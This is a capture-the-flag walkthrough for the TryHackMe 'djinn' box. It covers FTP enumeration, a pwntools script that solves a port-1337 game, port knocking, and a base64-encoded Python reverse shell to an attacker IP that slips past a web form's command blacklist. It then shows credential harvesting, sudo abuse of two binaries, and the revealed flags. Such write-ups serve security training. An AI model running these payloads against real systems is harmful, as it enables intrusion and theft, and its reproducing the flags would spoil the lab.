TryHackMe-djinn

From aldeid
Jump to navigation Jump to search

Intermediate level vulnerable box.

User flag

Nmap

Let’s start with a basic Nmap scan. We discover that FTP is running on port 21 with anonymous access:

PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| -rw-r--r--    1 0        0              11 Oct 20  2019 creds.txt
| -rw-r--r--    1 0        0             128 Oct 21  2019 game.txt
|_-rw-r--r--    1 0        0             113 Oct 21  2019 message.txt
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to ::ffff:10.9.0.54
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 2
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
Service Info: OS: Unix

FTP

Let’s connect as anonymous and download the files:

$ ftp 10.10.18.78
Connected to 10.10.18.78 (10.10.18.78).
220 (vsFTPd 3.0.3)
Name (10.10.18.78:unknown): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
227 Entering Passive Mode (10,10,18,78,178,169).
150 Here comes the directory listing.
-rw-r--r--    1 0        0              11 Oct 20  2019 creds.txt
-rw-r--r--    1 0        0             128 Oct 21  2019 game.txt
-rw-r--r--    1 0        0             113 Oct 21  2019 message.txt
226 Directory send OK.
ftp> mget *

The files reveal that there is a game running on port 1337, and we are provided with a username (@nitish81299) and credentials (nitu:81299).

$ cat game.txt 
oh and I forgot to tell you I've setup a game for you on port 1337. See if you can reach to the 
final level and get the prize.
$ cat message.txt 
@nitish81299 I am going on holidays for few days, please take care of all the work. 
And don't mess up anything.
$ cat creds.txt 
nitu:81299

Port 1337

Connecting to port 1337 reveals a game with computation challenges. If you provide the right answer, it goes to the next computation, and so on, until 1000 computations are performed. If the answer is incorrect, the program ends. At the end of the game, a secret is revealed.

Let’s write a python script to solve this game.

#!/usr/bin/env python
from pwn import *
import re

host, port = '10.10.18.78', 1337

context.log_level = 'warn'
s = remote(host, port)
s.recvuntil("Answer my questions 1000 times and I'll give you your gift.\n")

for i in range(1001):
  computation = s.recvline()

  r = re.search("\((\d+), '([\+\-\*\/])', (\d+)\)", computation.decode('utf-8'))

  n1 = int(r.group(1))
  op = r.group(2)
  n2 = int(r.group(3))

  if op == '+':
    n = n1 + n2
  elif op == '-':
    n = n1 - n2
  elif op == '*':
    n = n1 * n2
  else:
    n = n1 / n2

  print("[#{}] {}{}{}={}".format(i+1, n1, op, n2, n))

  s.sendline(str(n))

print(s.recvline().decode('utf-8'))
print(s.recvline().decode('utf-8'))
print(s.recvline().decode('utf-8'))

s.close()

Here is an extract of the program’s output when run:

$ python game.py 
[#1] 5+7=12
[#2] 9/9=1.0
[#3] 7*1=7
[#4] 7-3=4
[#5] 1/4=0.25
[#6] 4/9=0.4444444444444444
[#7] 7*2=14
[#8] 5*7=35

[REDACTED]

[#997] 2*4=8
[#998] 2/8=0.25
[#999] 2-6=-4
[#1000] 5+5=10
[#1001] 6*7=42
> Here is your gift, I hope you know what to do with it:



1356, 6784, 3409

After succesfully solving the 1000 computations, the secret is revealed, and it looks like a ports sequence (port knocking).

Port knocking

We can use Nmap to knock at the door and open the hidden port:

$ for i in 1356 6784 3409; do nmap -Pn --host-timeout 201 --max-retries 0 -p $i 10.10.40.210;done

Let’s confirm what port is now unlocked

$ sudo masscan -p 1-65535 10.10.10.30 -e tun0 --rate=1000

We discover 2 new ports: 7331 and 22. Trying to login to SSH with the credentials gathered previously fails. Let’s focus on the other port for now.

Port 7331

Nmap reveals that there is a web application running on port 7331:

$ sudo nmap -sV -p 7331 10.10.40.210
Starting Nmap 7.80 ( https://nmap.org ) at 2020-07-01 22:38 CEST
Nmap scan report for 10.10.40.210
Host is up (0.044s latency).

PORT     STATE SERVICE VERSION
7331/tcp open  http    Werkzeug httpd 0.16.0 (Python 2.7.15+)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.13 seconds

A scan with dirsearch reveals the presence of 2 hidden locations: /wish and /genie.

The /wish location is a form that allows to execute commands. It redirects to /genie that shows a 403 error code, but the result of the command is still displayed on top of the picture (you can read the output more clearly in the source code of the page).

I tried to make a reverse shell with nc -e /bin/bash 10.9.0.54 4444 and to make the server download a python reverse shell, but it failed with the message: “Wrong choice of words”. There is likely a blacklist in the program.

Let’s encode our payload in base64:

$ echo "python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.9.0.54\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/bash\",\"-i\"]);'" | base64
cHl0aG9uIC1jICdpbXBvcnQgc29ja2V0LHN1YnByb2Nlc3Msb3M7cz1zb2NrZXQuc29ja2V0KHNv
Y2tldC5BRl9JTkVULHNvY2tldC5TT0NLX1NUUkVBTSk7cy5jb25uZWN0KCgiMTAuOS4wLjU0Iiw0
NDQ0KSk7b3MuZHVwMihzLmZpbGVubygpLDApOyBvcy5kdXAyKHMuZmlsZW5vKCksMSk7IG9zLmR1
cDIocy5maWxlbm8oKSwyKTtwPXN1YnByb2Nlc3MuY2FsbChbIi9iaW4vYmFzaCIsIi1pIl0pOycK

Open a listener (nc -nlvp 4444) and send this to the form:

echo "cHl0aG9uIC1jICdpbXBvcnQgc29ja2V0LHN1YnByb2Nlc3Msb3M7cz1zb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULHNvY2tldC5TT0NLX1NUUkVBTSk7cy5jb25uZWN0KCgiMTAuOS4wLjU0Iiw0NDQ0KSk7b3MuZHVwMihzLmZpbGVubygpLDApOyBvcy5kdXAyKHMuZmlsZW5vKCksMSk7IG9zLmR1cDIocy5maWxlbm8oKSwyKTtwPXN1YnByb2Nlc3MuY2FsbChbIi9iaW4vYmFzaCIsIi1pIl0pOycK" | base64 -d | bash

The program decoded our base64 shell and executed it. We now have a reverse shell.

We see 2 users under /home, 1 of which containing the user flag. Unfortunately, we don’t have the permission to read the user flag or read the content of the other user’s home folder.

www-data@djinn:/opt/80$ ls -l /home
ls -l /home
total 8
drwxr-xr-x 5 nitish nitish 4096 Nov 12  2019 nitish
drwxr-x--- 4 sam    sam    4096 Nov 14  2019 sam
www-data@djinn:/opt/80$ ls -l /home/nitish
ls -l /home/nitish
total 4
-rw-r----- 1 nitish nitish 33 Nov 12  2019 user.txt
www-data@djinn:/opt/80$ ls -l /home/sam
ls -l /home/sam
ls: cannot open directory '/home/sam': Permission denied
www-data@djinn:/opt/80$ 

Searching for files owned by the nitish reveals hidden credentials in clear:

www-data@djinn:/$ $ find / -type f -user nitish 2>/dev/null
/home/nitish/user.txt
/home/nitish/.bashrc
/home/nitish/.dev/creds.txt
www-data@djinn:/$ cat /home/nitish/.dev/creds.txt
cat /home/nitish/.dev/creds.txt
nitish:p4ssw0rdStr3r0n9

SSH connection (nitish)

Using these credentials with SSH allows us to connect as nitish and get the user flag.

$ ssh [email protected]
nitish@djinn:~$ cat user.txt 
10aay8289ptgguy1pvfa73alzusyyx3c

User flag: 10aay8289ptgguy1pvfa73alzusyyx3c

Root flag

The genie executable

Checking our privileges with sudo -l reveals that we can execute genie as sam without password.

nitish@djinn:~$ sudo -l
Matching Defaults entries for nitish on djinn:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User nitish may run the following commands on djinn:
    (sam) NOPASSWD: /usr/bin/genie
nitish@djinn:~$ file /usr/bin/genie 
/usr/bin/genie: setuid ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 3.2.0, BuildID[sha1]=3f0b0d4d3dacca65084b0fbe690cac95d143e61a, not stripped

genie is a 64bit executable that we can run, and it has a help:

nitish@djinn:~$ /usr/bin/genie
usage: genie [-h] [-g] [-p SHELL] [-e EXEC] wish
genie: error: the following arguments are required: wish
usage: genie [-h] [-g] [-p SHELL] [-e EXEC] wish

I know you've came to me bearing wishes in mind. So go ahead make your wishes.

positional arguments:
  wish                  Enter your wish

optional arguments:
  -h, --help            show this help message and exit
  -g, --god             pass the wish to god
  -p SHELL, --shell SHELL
                        Gives you shell
  -e EXEC, --exec EXEC  execute command

Checking if there is a manual (man genie) reveals more available commands:

man(8)                                             genie man page                                            man(8)

NAME
       genie - Make a wish

SYNOPSIS
       genie [-h] [-g] [-p SHELL] [-e EXEC] wish

DESCRIPTION
       genie would complete all your wishes, even the naughty ones.

       We all dream of getting those crazy privelege escalations, this will even help you acheive that.

OPTIONS
       wish

              This is the wish you want to make .

       -g, --god

              Sometime we all would like to make a wish to god, this option let you make wish directly to God;

              Though genie can't gurantee you that your wish will be heard by God, he's a busy man you know;

       -p, --shell

              Well who doesn't love those. You can get shell. Ex: -p "/bin/sh"

       -e, --exec

              Execute command on someone else computer is just too damn fun, but this comes with some restrictions.

       -cmd

              You know sometime all you new is a damn CMD, windows I love you.

SEE ALSO
       mzfr.github.io

BUGS
       There are shit loads of bug in this program, it's all about finding one.

AUTHOR
       mzfr

Lateral move (nitish -> sam)

Playing a bit with the executable and the cmd command led to succesfully connecting as sam by providing 1 to the cmd flag:

nitish@djinn:/usr/bin$ sudo -u sam /usr/bin/genie -cmd 1
my man!!
$ id
uid=1000(sam) gid=1000(sam) groups=1000(sam),4(adm),24(cdrom),30(dip),46(plugdev),108(lxd),113(lpadmin),114(sambashare)
$ 

Let’s check sam’s privileges:

sam@djinn:/home/sam$ sudo -l
Matching Defaults entries for sam on djinn:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User sam may run the following commands on djinn:
    (root) NOPASSWD: /root/lago

We can run /root/lago as root without password. Here is what the program looks like when run:

sam@djinn:/home/sam$ sudo /root/lago
What do you want to do ?
1 - Be naughty
2 - Guess the number
3 - Read some damn files
4 - Work
Enter your choice:1
Working on it!! 
sam@djinn:/home/sam$ sudo /root/lago
What do you want to do ?
1 - Be naughty
2 - Guess the number
3 - Read some damn files
4 - Work
Enter your choice:2
Choose a number between 1 to 100: 
Enter your number: 50
Better Luck next time
sam@djinn:/home/sam$ sudo /root/lago
What do you want to do ?
1 - Be naughty
2 - Guess the number
3 - Read some damn files
4 - Work
Enter your choice:3
Enter the full of the file to read: /root/root.txt
Slow clap for this hacker right here
sam@djinn:/home/sam$ sudo /root/lago
What do you want to do ?
1 - Be naughty
2 - Guess the number
3 - Read some damn files
4 - Work
Enter your choice:4
work your ass off!!
sam@djinn:/home/sam$ 

If you closely look at files in sam’s home directory, you’ll notice the presence of a .pyc file, which is the compiled version of a program. Let’s download it and decompile it with uncompyle6.

$ uncompyle6 lago.pyc 
# uncompyle6 version 3.7.0
# Python bytecode 2.7 (62211)
# Decompiled from: Python 3.8.3 (default, May 29 2020, 00:00:00) 
# [GCC 10.1.1 20200507 (Red Hat 10.1.1-1)]
# Embedded file name: /home/mzfr/scripts/exp.py
# Compiled at: 2019-11-07 14:05:18
from getpass import getuser
from os import system
from random import randint

def naughtyboi():
    print 'Working on it!! '


def guessit():
    num = randint(1, 101)
    print 'Choose a number between 1 to 100: '
    s = input('Enter your number: ')
    if s == num:
        system('/bin/sh')
    else:
        print 'Better Luck next time'


def readfiles():
    user = getuser()
    path = input('Enter the full of the file to read: ')
    print 'User %s is not allowed to read %s' % (user, path)


def options():
    print 'What do you want to do ?'
    print '1 - Be naughty'
    print '2 - Guess the number'
    print '3 - Read some damn files'
    print '4 - Work'
    choice = int(input('Enter your choice: '))
    return choice


def main(op):
    if op == 1:
        naughtyboi()
    elif op == 2:
        guessit()
    elif op == 3:
        readfiles()
    elif op == 4:
        print 'work your ass off!!'
    else:
        print 'Do something better with your life'


if __name__ == '__main__':
    main(options())
# okay decompiling lago.pyc

It seems to be the lago program in /root. The test in the guessit function is interesting because we will get a shell if we provide the string num as user input, instead of guessing the random number.

    if s == num:
        system('/bin/sh')

Root flag

Let’s elevate to root and get the root flag:

sam@djinn:/home/sam$ sudo /root/lago
What do you want to do ?
1 - Be naughty
2 - Guess the number
3 - Read some damn files
4 - Work
Enter your choice:2
Choose a number between 1 to 100: 
Enter your number: num
# ls -la /root      
total 64
drwx------  5 root root  4096 Nov 18  2019 .
drwxr-xr-x 23 root root  4096 Nov 11  2019 ..
-rw-------  1 root root 23351 Nov 18  2019 .bash_history
-rw-r--r--  1 root root  3106 Apr  9  2018 .bashrc
drwx------  3 root root  4096 Oct 21  2019 .cache
drwx------  3 root root  4096 Oct 21  2019 .gnupg
-rwxr-xr-x  1 root root  1827 Nov 14  2019 lago
drwxr-xr-x  3 root root  4096 Oct 20  2019 .local
-rw-r--r--  1 root root   148 Aug 17  2015 .profile
-rwxr-xr-x  1 root root   457 Nov 12  2019 proof.sh

The root flag is in the proff.sh script:

#!/bin/bash

clear
figlet Amazing!!!
echo djinn pwned...
echo __________________________________________________________________________
echo
echo "Proof: 33eur2wjdmq80z47nyy4fx54bnlg3ibc"
echo Path: $(pwd)
echo Date: $(date)
echo Whoami: $(whoami)
echo __________________________________________________________________________
echo
echo "By @0xmzfr"
echo ""
echo "Thanks to my fellow teammates in @m0tl3ycr3w for betatesting! :-)"
echo ""

Here is the output of the script:

root@djinn:/root# ./proof.sh 

    _                        _             _ _ _ 
   / \   _ __ ___   __ _ ___(_)_ __   __ _| | | |
  / _ \ | '_ ` _ \ / _` |_  / | '_ \ / _` | | | |
 / ___ \| | | | | | (_| |/ /| | | | | (_| |_|_|_|
/_/   \_\_| |_| |_|\__,_/___|_|_| |_|\__, (_|_|_)
                                     |___/       
djinn pwned...
__________________________________________________________________________

Proof: 33eur2wjdmq80z47nyy4fx54bnlg3ibc
Path: /root
Date: Thu Jul 2 12:52:08 IST 2020
Whoami: root
__________________________________________________________________________

By @0xmzfr

Thanks to my fellow teammates in @m0tl3ycr3w for betatesting! :-)

Root flag: 33eur2wjdmq80z47nyy4fx54bnlg3ibc

Comments

Keywords: ctf tryhackme djinn python pyc ftp scripting portknocking shell evasion blacklist uncompyle6 decompile